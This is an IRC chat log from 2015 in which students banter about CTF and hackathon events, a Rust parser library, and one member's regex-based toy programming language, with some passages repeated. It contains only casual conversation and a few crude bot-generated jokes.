[2015-04-10T11:07:45-0400] <alokpathy> wat
[2015-04-10T11:07:53-0400] <JacobEdelman> for HSCTF
[2015-04-10T11:07:57-0400] <alokpathy> wat
[2015-04-10T11:07:59-0400] <alokpathy> I haven't.
[2015-04-10T11:08:07-0400] <JacobEdelman> yes, you have
[2015-04-10T11:08:18-0400] <JacobEdelman> the name of the competition this year
[2015-04-10T11:08:26-0400] <alokpathy> Yeah, okay, that I have heard of
[2015-04-10T11:08:33-0400] <alokpathy> not "name you yet"
[2015-04-10T11:08:34-0400] <JacobEdelman> Tamini_: have you?
[2015-04-10T11:08:35-0400] <alokpathy> :P
[2015-04-10T11:08:48-0400] <Tamini_> ?
[2015-04-10T11:08:57-0400] <JacobEdelman> HSCTF 2: Bicentennial addition
[2015-04-10T11:09:00-0400] <JacobEdelman> oops
[2015-04-10T11:09:01-0400] <alokpathy> Tamini_: It's called HSCTF 2: Thomas Jefferson's Resurrection.
[2015-04-10T11:09:04-0400] <JacobEdelman> HSCTF 2: Bicentennial Edition
[2015-04-10T11:09:06-0400] <Tamini_> loool
[2015-04-10T11:09:12-0400] <JacobEdelman> no... no its not
[2015-04-10T11:09:13-0400] <alokpathy> Tamini_: JacobEdelman is lying
[2015-04-10T11:09:19-0400] <JacobEdelman> HSCTF 2: Bicentennial Edition
[2015-04-10T11:09:24-0400] <nickthename> HSCTF 2: The Revengance
[2015-04-10T11:09:25-0400] <alokpathy> Fine, it's what JacobEdelman said
[2015-04-10T11:09:32-0400] <JacobEdelman> okay, now I'm confused
[2015-04-10T11:09:35-0400] <nickthename> HSCTF 2: HSCTF In the Hood
[2015-04-10T11:09:36-0400] <Tamini_> you should play tjctf.
[2015-04-10T11:09:36-0400] <JacobEdelman> 11:00 AM <awebot> If I were you, I'd have sex with me.
[2015-04-10T11:09:36-0400] <JacobEdelman> New messages
[2015-04-10T11:09:36-0400] <JacobEdelman> 11:08 AM <awebot> Nice shoes. Want to screw?
[2015-04-10T11:09:46-0400] <alokpathy> :(
[2015-04-10T11:09:46-0400] <nickthename> HSCTF 2: HSCTF Strikes Back
[2015-04-10T11:09:46-0400] <JacobEdelman> 8 minutes in between his messages?
[2015-04-10T11:09:49-0400] <alokpathy> awebot: y u no luv meh
[2015-04-10T11:09:50-0400] <Tamini_> the first line is good.
[2015-04-10T11:09:52-0400] <JacobEdelman> wow
[2015-04-10T11:10:00-0400] <Tamini_> i'll use it sometime
[2015-04-10T11:10:04-0400] <JacobEdelman> ....
[2015-04-10T11:10:10-0400] <Tamini_> ;$
[2015-04-10T11:10:11-0400] <alokpathy> The second one is just weird LOL
[2015-04-10T11:10:15-0400] <nickthename> 10:49:22      awebot | If I told you you had a beautiful chest, would you hold it against me?
[2015-04-10T11:10:17-0400] <LittleBobbyTables> 1:11 AM <awebot> Do you want to come over to my place and feed your beaver some wood?
[2015-04-10T11:10:25-0400] <JacobEdelman> awebot  has said the first one to me 4 times
[2015-04-10T11:10:56-0400] <alokpathy> Oh, wait, now I know why nezorg's not here
[2015-04-10T11:10:59-0400] <alokpathy> iCTF is going on xD
[2015-04-10T11:11:05-0400] <Tamini_> ?
[2015-04-10T11:11:12-0400] <LittleBobbyTables> It's an Attack/Defend ctf
[2015-04-10T11:11:14-0400] <alokpathy> Tamini_: Shellphish's CTF.
[2015-04-10T11:11:18-0400] <Tamini_> i thought he just crashed
[2015-04-10T11:11:22-0400] <alokpathy> Oh
[2015-04-10T11:11:24-0400] <alokpathy> or that.
[2015-04-10T11:11:36-0400] <Tamini_> i wanted to play that
[2015-04-10T11:11:38-0400] <Tamini_> >.<
[2015-04-10T11:11:46-0400] <nickthename> yeah how come tj isn't doing that
[2015-04-10T11:11:52-0400] <nickthename> Tamini_: shush you were in korea
[2015-04-10T11:11:58-0400] <LittleBobbyTables> Because they're bad at it
[2015-04-10T11:12:12-0400] <Tamini_> nickthename: I was in korea with nezorg
[2015-04-10T11:12:30-0400] <alokpathy> Tamini_: iCTF is going on right now. It wasn't going one during Codegate :P
[2015-04-10T11:12:37-0400] <Tamini_> oh lol
[2015-04-10T11:12:46-0400] <Tamini_> well i dont have the time ;-;
[2015-04-10T11:12:52-0400] <alokpathy> Yeah same
[2015-04-10T11:13:02-0400] <alokpathy> We're leaving in about an hour.
[2015-04-10T11:13:08-0400] <Tamini_> ?
[2015-04-10T11:13:13-0400] <alokpathy> For UVa :P
[2015-04-10T11:13:24-0400] <Tamini_> its tomorrow, though.
[2015-04-10T11:13:36-0400] <Tamini_> bring your psy :O
[2015-04-10T11:13:39-0400] <alokpathy> Tell me we're going to drive at 2am :P
[2015-04-10T11:13:49-0400] <Tamini_> ohlol
[2015-04-10T11:13:53-0400] <Tamini_> do it
[2015-04-10T11:13:56-0400] <alokpathy> nop.
[2015-04-10T11:13:57-0400] <Tamini_> be tired and underperform
[2015-04-10T11:13:59-0400] <alokpathy> nop.
[2015-04-10T11:14:12-0400] <Tamini_> 0x90
[2015-04-10T11:15:27-0400] <nickthename> jesus you guys compete a lot
[2015-04-10T11:15:33-0400] <Tamini_> ?
[2015-04-10T11:15:55-0400] <nickthename> just got back from a competition, now heading to another immediately
[2015-04-10T11:16:05-0400] <Tamini_> oh lol
[2015-04-10T11:16:07-0400] <nickthename> lamenting that you can't do a third that overlaps
[2015-04-10T11:16:10-0400] <JacobEdelman> yup, and I'm missing both
[2015-04-10T11:16:11-0400] <JacobEdelman> :(
[2015-04-10T11:16:20-0400] <Tamini_> I like competing, though
[2015-04-10T11:16:25-0400] <Tamini_> especially irl ones
[2015-04-10T11:16:31-0400] <JacobEdelman> yes, but you're a junior!
[2015-04-10T11:16:31-0400] <Tamini_> because I get to see people.
[2015-04-10T11:16:36-0400] <JacobEdelman> juniors are supposed to have work!
[2015-04-10T11:16:42-0400] <Tamini_> I know I have negative time
[2015-04-10T11:16:46-0400] <JacobEdelman> ha
[2015-04-10T11:16:48-0400] <nickthename> nothing wrong with that, it's impressive you guys do so many
[2015-04-10T11:16:49-0400] <Tamini_> but I love you kids too much to stop
[2015-04-10T11:16:56-0400] <alokpathy> Tamini_: Aww
[2015-04-10T11:16:57-0400] <Tamini_> im addicted
[2015-04-10T11:17:07-0400] <+awe> [11:05:34]  <JacobEdelman>	awe: kick LittleBobbyTables for insulting HSCTF please?
[2015-04-10T11:17:10-0400] <Tamini_> alokpathy: ehhh. you
[2015-04-10T11:17:10-0400] <+awe> JacobEdelman: I wouldn't do that anyway.
[2015-04-10T11:17:17-0400] <LittleBobbyTables> anyway, time to go to work.
[2015-04-10T11:17:19-0400] <JacobEdelman> awe: I took it back
[2015-04-10T11:17:26-0400] <Tamini_> im starting to get sick of :P
[2015-04-10T11:17:27-0400] <JacobEdelman> but you totally should be willing too
[2015-04-10T11:17:28-0400] <Tamini_> jkjk
[2015-04-10T11:17:37-0400] <+awe> I know, but I wouldn't do that even if you hadn't.
[2015-04-10T11:17:45-0400] <JacobEdelman> ahhh
[2015-04-10T11:17:51-0400] <JacobEdelman> well, anyway
[2015-04-10T11:18:00-0400] <JacobEdelman> are you coming to visit during hsctf?
[2015-04-10T11:18:03-0400] <+awe> HackUMass is tomorrow.
[2015-04-10T11:18:05-0400] <JacobEdelman> preferably during the end?
[2015-04-10T11:18:06-0400] <+awe> I think I'm going to not do it.
[2015-04-10T11:18:13-0400] <+awe> Because there's no point in doing it by myself.
[2015-04-10T11:20:49-0400] <+awe> Which is when?
[2015-04-10T11:21:21-0400] <alokpathy> May 24th.
[2015-04-10T11:21:25-0400] <Tamini_> i wanna go.
[2015-04-10T11:21:28-0400] <Tamini_> :(
[2015-04-10T11:22:44-0400] <JacobEdelman> nope
[2015-04-10T11:22:46-0400] <JacobEdelman> you can compete
[2015-04-10T11:23:07-0400] <JacobEdelman> although we sadly can't offer a signed picture of awe as a prize this time :P
[2015-04-10T11:23:29-0400] failedxyz (uid50489@pdgn-550.9ak.7cuf9e.IP) joined the channel
[2015-04-10T11:24:00-0400] <alokpathy> Tamini_: You can get a signed pic of me :)
[2015-04-10T11:24:09-0400] <fwilson> tfw ludum dare on a hackathon weekend... again
[2015-04-10T11:24:37-0400] <nickthename> fwilson: what hackathon?
[2015-04-10T11:24:45-0400] <Tamini_> lol
[2015-04-10T11:24:47-0400] <JacobEdelman> hmmm I'd offer a signed pick of me but pictures of me tend to spontaneously catch fire and die screaming
[2015-04-10T11:25:04-0400] <Tamini_> alokpathy: not as cute as awe
[2015-04-10T11:25:20-0400] <alokpathy> :(
[2015-04-10T11:25:25-0400] <Tamini_> can I get a selfie with a imo gold medalist instead
[2015-04-10T11:25:26-0400] <alokpathy> Harsh
[2015-04-10T11:25:45-0400] <fwilson> aur/ue4-git 4.7.1.linux.r27.gaf9f41e-2 (11)
[2015-04-10T11:25:47-0400] <fwilson> ;_;
[2015-04-10T11:25:49-0400] <fwilson> nickthename: hackru
[2015-04-10T11:25:51-0400] <+awe> JacobEdelman: Well, I don't know how early I'll be going up, but basically, I'll be in Florida for some significant portion of May, and then I'll have to return to Amherst for the research.
[2015-04-10T11:25:58-0400] <fwilson> i guess i'm doing both ¯\_(ツ)_/¯
[2015-04-10T11:26:10-0400] <alokpathy> awe: When do you return to Amherst?
[2015-04-10T11:26:15-0400] <+awe> I don't know yet.
[2015-04-10T11:26:18-0400] <JacobEdelman> awe: find time
[2015-04-10T11:26:19-0400] <+awe> I really need to find that out.
[2015-04-10T11:26:30-0400] <alokpathy> Lol okay
[2015-04-10T11:26:35-0400] <+awe> I'll find out on Monday.
[2015-04-10T11:26:44-0400] <+awe> I'll ask Arjun when he thinks I should be back here.
[2015-04-10T11:34:18-0400] <alokpathy> kk
[2015-04-10T11:39:38-0400] <Fill> awe: yo. So I was checking out nom. Turns out it's kinda buggy. Look at what happened with me: https://github.com/Geal/nom/issues/27
[2015-04-10T11:40:02-0400] <alokpathy> Tamini_: Lol, so, you know how I was supposed to email my prof my updated pset?
[2015-04-10T11:40:17-0400] <alokpathy> Tamini_: I emailed it to myself by accident and didn't realize until 6 hours after the deadline.
[2015-04-10T11:40:22-0400] <alokpathy> Tamini_: Thankfully he still took it xD
[2015-04-10T11:41:06-0400] <+awe> Fill: huh, that's really interesting.
[2015-04-10T11:41:06-0400] <Fill> I do think it's got potential though, I'm willing to switch to nom on my project. I was not familiar with the parser combinator concept. And I think nom will be easily supported in beta soon, whereas rust-peg relies heavily on the syntax feature, which is not on beta, so I don't know what the developers of rust-peg plan to do about it
[2015-04-10T11:41:24-0400] <+awe> Parser combinators are really, really cool.
[2015-04-10T11:41:37-0400] <Fill> yes, I didn't know about it. It's really interesting
[2015-04-10T11:46:31-0400] <+awe> Well, hopefully, there'll be a clear fix to that issue soon and you can continue trying to use it.
[2015-04-10T11:48:00-0400] <Fill> yep
[2015-04-10T11:48:32-0400] <Fill> it needs some polishing, but with the right fixes it will be a wonderful library
[2015-04-10T11:49:00-0400] <Fill> for me parsers were always about writing a grammar
[2015-04-10T11:49:22-0400] <+awe> If you want to see a polished example of parser combinators in another language, http://hackage.haskell.org/package/parsec
[2015-04-10T11:49:22-0400] <Fill> indeed this approach is really cool
[2015-04-10T11:49:40-0400] <+awe> You can search for projects on GH that use Parsec in order to see it live, too.
[2015-04-10T11:49:50-0400] <Fill> nice
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[2015-04-10T11:20:07-0400] <JacobEdelman> for a reunion
[2015-04-10T11:20:19-0400] <JacobEdelman> it would be towards the end of hsctf
[2015-04-10T11:20:49-0400] <+awe> Which is when?
[2015-04-10T11:21:21-0400] <alokpathy> May 24th.
[2015-04-10T11:21:25-0400] <Tamini_> i wanna go.
[2015-04-10T11:21:28-0400] <Tamini_> :(
[2015-04-10T11:22:44-0400] <JacobEdelman> nope
[2015-04-10T11:22:46-0400] <JacobEdelman> you can compete
[2015-04-10T11:23:07-0400] <JacobEdelman> although we sadly can't offer a signed picture of awe as a prize this time :P
[2015-04-10T11:24:00-0400] <alokpathy> Tamini_: You can get a signed pic of me :)
[2015-04-10T11:24:09-0400] <fwilson> tfw ludum dare on a hackathon weekend... again
[2015-04-10T11:24:37-0400] <nickthename> fwilson: what hackathon?
[2015-04-10T11:24:45-0400] <Tamini_> lol
[2015-04-10T11:24:47-0400] <JacobEdelman> hmmm I'd offer a signed pick of me but pictures of me tend to spontaneously catch fire and die screaming
[2015-04-10T11:25:04-0400] <Tamini_> alokpathy: not as cute as awe
[2015-04-10T11:25:20-0400] <alokpathy> :(
[2015-04-10T11:25:25-0400] <Tamini_> can I get a selfie with a imo gold medalist instead
[2015-04-10T11:25:26-0400] <alokpathy> Harsh
[2015-04-10T11:25:45-0400] <fwilson> aur/ue4-git 4.7.1.linux.r27.gaf9f41e-2 (11)
[2015-04-10T11:25:47-0400] <fwilson> ;_;
[2015-04-10T11:25:49-0400] <fwilson> nickthename: hackru
[2015-04-10T11:25:51-0400] <+awe> JacobEdelman: Well, I don't know how early I'll be going up, but basically, I'll be in Florida for some significant portion of May, and then I'll have to return to Amherst for the research.
[2015-04-10T11:25:58-0400] <fwilson> i guess i'm doing both ¯\_(ツ)_/¯
[2015-04-10T11:26:10-0400] <alokpathy> awe: When do you return to Amherst?
[2015-04-10T11:26:15-0400] <+awe> I don't know yet.
[2015-04-10T11:26:18-0400] <JacobEdelman> awe: find time
[2015-04-10T11:26:19-0400] <+awe> I really need to find that out.
[2015-04-10T11:26:30-0400] <alokpathy> Lol okay
[2015-04-10T11:26:35-0400] <+awe> I'll find out on Monday.
[2015-04-10T11:26:44-0400] <+awe> I'll ask Arjun when he thinks I should be back here.
[2015-04-10T11:34:18-0400] <alokpathy> kk
[2015-04-10T11:39:38-0400] <Fill> awe: yo. So I was checking out nom. Turns out it's kinda buggy. Look at what happened with me: https://github.com/Geal/nom/issues/27
[2015-04-10T11:40:02-0400] <alokpathy> Tamini_: Lol, so, you know how I was supposed to email my prof my updated pset?
[2015-04-10T11:40:16-0400] <alokpathy> Tamini_: I emailed it to myself by accident and didn't realize until 6 hours after the deadline.
[2015-04-10T11:40:22-0400] <alokpathy> Tamini_: Thankfully he still took it xD
[2015-04-10T11:41:06-0400] <+awe> Fill: huh, that's really interesting.
[2015-04-10T11:41:06-0400] <Fill> I do think it's got potential though, I'm willing to switch to nom on my project. I was not familiar with the parser combinator concept. And I think nom will be easily supported in beta soon, whereas rust-peg relies heavily on the syntax feature, which is not on beta, so I don't know what the developers of rust-peg plan to do about it
[2015-04-10T11:41:24-0400] <+awe> Parser combinators are really, really cool.
[2015-04-10T11:41:37-0400] <Fill> yes, I didn't know about it. It's really interesting
[2015-04-10T11:46:31-0400] <+awe> Well, hopefully, there'll be a clear fix to that issue soon and you can continue trying to use it.
[2015-04-10T11:48:00-0400] <Fill> yep
[2015-04-10T11:48:32-0400] <Fill> it needs some polishing, but with the right fixes it will be a wonderful library
[2015-04-10T11:49:00-0400] <Fill> for me parsers were always about writing a grammar
[2015-04-10T11:49:22-0400] <+awe> If you want to see a polished example of parser combinators in another language, http://hackage.haskell.org/package/parsec
[2015-04-10T11:49:22-0400] <Fill> indeed this approach is really cool
[2015-04-10T11:49:40-0400] <+awe> You can search for projects on GH that use Parsec in order to see it live, too.
[2015-04-10T11:49:50-0400] <Fill> nice
[2015-04-10T13:08:02-0400] <JacobEdelman> you know you have a problem when python's regular expression engine is complaining that it can only parse 100 named groups
[2015-04-10T13:08:04-0400] <JacobEdelman> #lark
[2015-04-10T13:08:06-0400] <JacobEdelman> :P
[2015-04-10T13:18:38-0400] Mode is +nt
[2015-04-10T13:22:40-0400] <JacobEdelman> a early demo proof off concept version of lark is almost done!
[2015-04-10T13:23:02-0400] <JacobEdelman> some basic text wrapping and I'll be able to show off cool features like programming lists from nothing!
[2015-04-10T13:23:10-0400] <JacobEdelman> including regular list syntax!
[2015-04-10T13:24:45-0400] <+awe> And your language will still be good for absolutely nothing!
[2015-04-10T13:25:08-0400] <JacobEdelman> a brief preview https://www.irccloud.com/pastebin/7PGb46Sx
[2015-04-10T13:25:14-0400] <JacobEdelman> thats some of the python code behind lark
[2015-04-10T13:25:20-0400] <JacobEdelman> thats by far the dirtiest part
[2015-04-10T13:25:47-0400] <JacobEdelman> its basicly constructing a regex that checks for parentheses balancing except with \x01 and \x02 instead of parens and only 10 deep
[2015-04-10T13:25:58-0400] <+awe> This is horrifyingly bad.
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[2015-04-10T11:24:47-0400] <JacobEdelman> hmmm I'd offer a signed pick of me but pictures of me tend to spontaneously catch fire and die screaming
[2015-04-10T11:25:04-0400] <Tamini_> alokpathy: not as cute as awe
[2015-04-10T11:25:20-0400] <alokpathy> :(
[2015-04-10T11:25:25-0400] <Tamini_> can I get a selfie with a imo gold medalist instead
[2015-04-10T11:25:26-0400] <alokpathy> Harsh
[2015-04-10T11:25:45-0400] <fwilson> aur/ue4-git 4.7.1.linux.r27.gaf9f41e-2 (11)
[2015-04-10T11:25:47-0400] <fwilson> ;_;
[2015-04-10T11:25:49-0400] <fwilson> nickthename: hackru
[2015-04-10T11:25:51-0400] <+awe> JacobEdelman: Well, I don't know how early I'll be going up, but basically, I'll be in Florida for some significant portion of May, and then I'll have to return to Amherst for the research.
[2015-04-10T11:25:58-0400] <fwilson> i guess i'm doing both ¯\_(ツ)_/¯
[2015-04-10T11:26:10-0400] <alokpathy> awe: When do you return to Amherst?
[2015-04-10T11:26:15-0400] <+awe> I don't know yet.
[2015-04-10T11:26:18-0400] <JacobEdelman> awe: find time
[2015-04-10T11:26:19-0400] <+awe> I really need to find that out.
[2015-04-10T11:26:30-0400] <alokpathy> Lol okay
[2015-04-10T11:26:35-0400] <+awe> I'll find out on Monday.
[2015-04-10T11:26:44-0400] <+awe> I'll ask Arjun when he thinks I should be back here.
[2015-04-10T11:34:18-0400] <alokpathy> kk
[2015-04-10T11:39:38-0400] <Fill> awe: yo. So I was checking out nom. Turns out it's kinda buggy. Look at what happened with me: https://github.com/Geal/nom/issues/27
[2015-04-10T11:40:02-0400] <alokpathy> Tamini_: Lol, so, you know how I was supposed to email my prof my updated pset?
[2015-04-10T11:40:16-0400] <alokpathy> Tamini_: I emailed it to myself by accident and didn't realize until 6 hours after the deadline.
[2015-04-10T11:40:22-0400] <alokpathy> Tamini_: Thankfully he still took it xD
[2015-04-10T11:41:06-0400] <+awe> Fill: huh, that's really interesting.
[2015-04-10T11:41:06-0400] <Fill> I do think it's got potential though, I'm willing to switch to nom on my project. I was not familiar with the parser combinator concept. And I think nom will be easily supported in beta soon, whereas rust-peg relies heavily on the syntax feature, which is not on beta, so I don't know what the developers of rust-peg plan to do about it
[2015-04-10T11:41:24-0400] <+awe> Parser combinators are really, really cool.
[2015-04-10T11:41:37-0400] <Fill> yes, I didn't know about it. It's really interesting
[2015-04-10T11:46:31-0400] <+awe> Well, hopefully, there'll be a clear fix to that issue soon and you can continue trying to use it.
[2015-04-10T11:48:00-0400] <Fill> yep
[2015-04-10T11:48:32-0400] <Fill> it needs some polishing, but with the right fixes it will be a wonderful library
[2015-04-10T11:49:00-0400] <Fill> for me parsers were always about writing a grammar
[2015-04-10T11:49:22-0400] <+awe> If you want to see a polished example of parser combinators in another language, http://hackage.haskell.org/package/parsec
[2015-04-10T11:49:22-0400] <Fill> indeed this approach is really cool
[2015-04-10T11:49:40-0400] <+awe> You can search for projects on GH that use Parsec in order to see it live, too.
[2015-04-10T11:49:50-0400] <Fill> nice
[2015-04-10T13:08:02-0400] <JacobEdelman> you know you have a problem when python's regular expression engine is complaining that it can only parse 100 named groups
[2015-04-10T13:08:04-0400] <JacobEdelman> #lark
[2015-04-10T13:08:06-0400] <JacobEdelman> :P
[2015-04-10T13:22:41-0400] <JacobEdelman> a early demo proof off concept version of lark is almost done!
[2015-04-10T13:23:02-0400] <JacobEdelman> some basic text wrapping and I'll be able to show off cool features like programming lists from nothing!
[2015-04-10T13:23:10-0400] <JacobEdelman> including regular list syntax!
[2015-04-10T13:24:45-0400] <+awe> And your language will still be good for absolutely nothing!
[2015-04-10T13:25:08-0400] <JacobEdelman> a brief preview https://www.irccloud.com/pastebin/7PGb46Sx
[2015-04-10T13:25:15-0400] <JacobEdelman> thats some of the python code behind lark
[2015-04-10T13:25:20-0400] <JacobEdelman> thats by far the dirtiest part
[2015-04-10T13:25:48-0400] <JacobEdelman> its basicly constructing a regex that checks for parentheses balancing except with \x01 and \x02 instead of parens and only 10 deep
[2015-04-10T13:25:58-0400] <+awe> This is horrifyingly bad.
[2015-04-10T13:26:05-0400] <JacobEdelman> cause the parsing library I am using was not meant for complex text parsing
[2015-04-10T13:26:09-0400] <JacobEdelman> awe: yes, I agree 100%
[2015-04-10T13:26:16-0400] <JacobEdelman> my baby is an ungodly monster
[2015-04-10T13:26:24-0400] <JacobEdelman> cause I'm too lazy to do real text parsing
[2015-04-10T13:26:27-0400] <JacobEdelman> :P
[2015-04-10T13:26:27-0400] Mode is +nt
[2015-04-10T13:26:36-0400] <JacobEdelman> (next version i'll switch to a legit parser)
[2015-04-10T13:26:45-0400] <+awe> And then it'll still be good for absolutely nothing!
[2015-04-10T13:27:01-0400] <+awe> Because at literally no point are you designing a language that addresses a problem that anyone has.
[2015-04-10T13:27:30-0400] <JacobEdelman> oh yeah, and the ?: in that regex are too make it so the regex doesn't capture groups cause python's regexes only support group capturing of up to 100 (and those regexes shown there may be combinded so...)
[2015-04-10T13:27:43-0400] <JacobEdelman> awe: macros that make other macros look like nothing?
[2015-04-10T13:27:56-0400] <JacobEdelman> awe: unifiying types, functions, and syntax?
[2015-04-10T13:28:04-0400] <JacobEdelman> in one simple structure?
[2015-04-10T13:28:20-0400] <JacobEdelman> the part of the language that really matters is only 50 lines long or so
[2015-04-10T13:28:37-0400] <JacobEdelman> yet writing arrays in the language takes 10 or so lines in the language
[2015-04-10T13:28:47-0400] <JacobEdelman> (less if you want to take away some very basic features)
[2015-04-10T13:29:17-0400] <JacobEdelman> *the part of the language that really matters = the python backend that does the work
[2015-04-10T13:30:09-0400] <JacobEdelman> heck, adding in a type checker should also be trivial
[2015-04-10T13:30:25-0400] <+awe> ...
[2015-04-10T13:30:28-0400] <+awe> Sure.
[2015-04-10T13:30:29-0400] <+awe> Ok.
[2015-04-10T13:31:34-0400] <JacobEdelman> type inference, deconstruction, object oreinted programming, all come as natrual effects of the core
[2015-04-10T13:31:54-0400] <+awe> The only thing that comes naturally is complete inconsistence.
[2015-04-10T13:31:56-0400] <+awe> And slowness.
[2015-04-10T13:32:12-0400] <JacobEdelman> (functional programming will only come when I rewrite the core to be actually rational)
[2015-04-10T13:32:27-0400] <+awe> inconsistency*
[2015-04-10T13:32:29-0400] <JacobEdelman> no, it will be fairly fast
[2015-04-10T13:32:29-0400] <JacobEdelman> after intial compilation of code
[2015-04-10T13:32:32-0400] <JacobEdelman> its just like any lisp
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[2015-04-10T11:49:00-0400] <Fill> for me parsers were always about writing a grammar
[2015-04-10T11:49:22-0400] <+awe> If you want to see a polished example of parser combinators in another language, http://hackage.haskell.org/package/parsec
[2015-04-10T11:49:22-0400] <Fill> indeed this approach is really cool
[2015-04-10T11:49:40-0400] <+awe> You can search for projects on GH that use Parsec in order to see it live, too.
[2015-04-10T11:49:50-0400] <Fill> nice
[2015-04-10T13:08:02-0400] <JacobEdelman> you know you have a problem when python's regular expression engine is complaining that it can only parse 100 named groups
[2015-04-10T13:08:04-0400] <JacobEdelman> #lark
[2015-04-10T13:08:06-0400] <JacobEdelman> :P
[2015-04-10T13:22:41-0400] <JacobEdelman> a early demo proof off concept version of lark is almost done!
[2015-04-10T13:23:02-0400] <JacobEdelman> some basic text wrapping and I'll be able to show off cool features like programming lists from nothing!
[2015-04-10T13:23:10-0400] <JacobEdelman> including regular list syntax!
[2015-04-10T13:24:45-0400] <+awe> And your language will still be good for absolutely nothing!
[2015-04-10T13:25:08-0400] <JacobEdelman> a brief preview https://www.irccloud.com/pastebin/7PGb46Sx
[2015-04-10T13:25:15-0400] <JacobEdelman> thats some of the python code behind lark
[2015-04-10T13:25:20-0400] <JacobEdelman> thats by far the dirtiest part
[2015-04-10T13:25:48-0400] <JacobEdelman> its basicly constructing a regex that checks for parentheses balancing except with \x01 and \x02 instead of parens and only 10 deep
[2015-04-10T13:25:58-0400] <+awe> This is horrifyingly bad.
[2015-04-10T13:26:05-0400] <JacobEdelman> cause the parsing library I am using was not meant for complex text parsing
[2015-04-10T13:26:09-0400] <JacobEdelman> awe: yes, I agree 100%
[2015-04-10T13:26:16-0400] <JacobEdelman> my baby is an ungodly monster
[2015-04-10T13:26:24-0400] <JacobEdelman> cause I'm too lazy to do real text parsing
[2015-04-10T13:26:27-0400] <JacobEdelman> :P
[2015-04-10T13:26:37-0400] <JacobEdelman> (next version i'll switch to a legit parser)
[2015-04-10T13:26:46-0400] <+awe> And then it'll still be good for absolutely nothing!
[2015-04-10T13:27:01-0400] <+awe> Because at literally no point are you designing a language that addresses a problem that anyone has.
[2015-04-10T13:27:30-0400] <JacobEdelman> oh yeah, and the ?: in that regex are too make it so the regex doesn't capture groups cause python's regexes only support group capturing of up to 100 (and those regexes shown there may be combinded so...)
[2015-04-10T13:27:44-0400] <JacobEdelman> awe: macros that make other macros look like nothing?
[2015-04-10T13:27:57-0400] <JacobEdelman> awe: unifiying types, functions, and syntax?
[2015-04-10T13:28:04-0400] <JacobEdelman> in one simple structure?
[2015-04-10T13:28:19-0400] <JacobEdelman> the part of the language that really matters is only 50 lines long or so
[2015-04-10T13:28:37-0400] <JacobEdelman> yet writing arrays in the language takes 10 or so lines in the language
[2015-04-10T13:28:46-0400] <JacobEdelman> (less if you want to take away some very basic features)
[2015-04-10T13:29:18-0400] <JacobEdelman> *the part of the language that really matters = the python backend that does the work
[2015-04-10T13:30:09-0400] <JacobEdelman> heck, adding in a type checker should also be trivial
[2015-04-10T13:30:26-0400] <+awe> ...
[2015-04-10T13:30:29-0400] <+awe> Sure.
[2015-04-10T13:30:30-0400] <+awe> Ok.
[2015-04-10T13:31:34-0400] <JacobEdelman> type inference, deconstruction, object oreinted programming, all come as natrual effects of the core
[2015-04-10T13:31:55-0400] <+awe> The only thing that comes naturally is complete inconsistence.
[2015-04-10T13:31:57-0400] <+awe> And slowness.
[2015-04-10T13:32:12-0400] <JacobEdelman> (functional programming will only come when I rewrite the core to be actually rational)
[2015-04-10T13:32:16-0400] <JacobEdelman> no, it will be fairly fast
[2015-04-10T13:32:21-0400] <JacobEdelman> after intial compilation of code
[2015-04-10T13:32:29-0400] <+awe> inconsistency*
[2015-04-10T13:32:30-0400] <JacobEdelman> its just like any lisp
[2015-04-10T13:33:20-0400] <JacobEdelman> basicly, it will treat your syntax as a grammar, than compile to an ast, and all of those macros you made just become lisp-esque functions 
[2015-04-10T13:34:00-0400] <JacobEdelman> it could compile down to lambda calculus in a fairly trivial manner
[2015-04-10T13:34:17-0400] <JacobEdelman> or, if I do what I'm strongly considering, typed lambda calculus
[2015-04-10T13:34:53-0400] <JacobEdelman> (typign was not something I could do in the ugly horrible proof of concept I made but extends very natrually from using an actual parser)
[2015-04-10T13:35:27-0400] <JacobEdelman> *basicly, it will treat your macros as a grammar
[2015-04-10T13:35:46-0400] <JacobEdelman> its basicly aknowledging the fact that macros and lambda functions are the same thing
[2015-04-10T13:35:46-0400] Mode is +nt
[2015-04-10T13:35:49-0400] <jwoglom> JacobEdelman: that's some fugly code :P
[2015-04-10T13:35:55-0400] <JacobEdelman> jwoglom: yes, yes it is
[2015-04-10T13:36:01-0400] <JacobEdelman> the actual language on the other hand
[2015-04-10T13:36:02-0400] <JacobEdelman> is amazing
[2015-04-10T13:36:23-0400] <+awe> jwoglom: everything written in his language will look fugly.
[2015-04-10T13:36:23-0400] <JacobEdelman> awe:?
[2015-04-10T13:36:29-0400] <JacobEdelman> no, no it won't
[2015-04-10T13:36:44-0400] <JacobEdelman> it can be made to look horrible, since the grammar is mutable
[2015-04-10T13:37:08-0400] <JacobEdelman> but you can't over ride previous macros
[2015-04-10T13:37:09-0400] <+awe> Well, I mean, you're the only person who will write in it.
[2015-04-10T13:37:12-0400] <+awe> Therefore, it has to look horrible.
[2015-04-10T13:37:20-0400] <JacobEdelman> nah, ben said he would try it out
[2015-04-10T13:37:33-0400] <JacobEdelman> (he said that about a year ago but heh, I'll still hold him to his word)
[2015-04-10T13:37:55-0400] <+awe> But seriously, there's nothing that's a good idea about this.
[2015-04-10T13:37:59-0400] <JacobEdelman> ...
[2015-04-10T13:38:02-0400] <+awe> It doesn't matter how "natural" it is to implement the language.
[2015-04-10T13:38:16-0400] <JacobEdelman> its not just the implementation
[2015-04-10T13:38:33-0400] <JacobEdelman> its that the basic implementation implies many many advanced and powerful features
[2015-04-10T13:38:43-0400] <+awe> Your language is going to basically be an individual language per project that uses it.
[2015-04-10T13:38:48-0400] <JacobEdelman> nah
[2015-04-10T13:38:51-0400] <+awe> Yes.
[2015-04-10T13:38:55-0400] <JacobEdelman> ideally you wouldn't want to make your own lang
[2015-04-10T13:39:03-0400] <JacobEdelman> so you'd import some modules like
[2015-04-10T13:39:06-0400] <+awe> But that's the whole _point_ of your language.
[2015-04-10T13:39:10-0400] <+awe> That you can make your own language.
[2015-04-10T13:39:12-0400] <JacobEdelman> *ignore the like
[2015-04-10T13:39:16-0400] <JacobEdelman> awe: you _can_
[2015-04-10T13:39:20-0400] <JacobEdelman> but you wouldn't want too
[2015-04-10T13:39:27-0400] <+awe> Then there's no reason to use your language!
[2015-04-10T13:39:29-0400] <JacobEdelman> thats not the whole point
[2015-04-10T13:39:36-0400] <JacobEdelman> you can add features
[2015-04-10T13:39:41-0400] <JacobEdelman> which is definitely a big plus
[2015-04-10T13:39:44-0400] <JacobEdelman> that depend on the grammar
[2015-04-10T13:39:48-0400] <JacobEdelman> and that you may want to
[2015-04-10T13:40:08-0400] <JacobEdelman> but too me a significant part of the point is the sheer power of the language
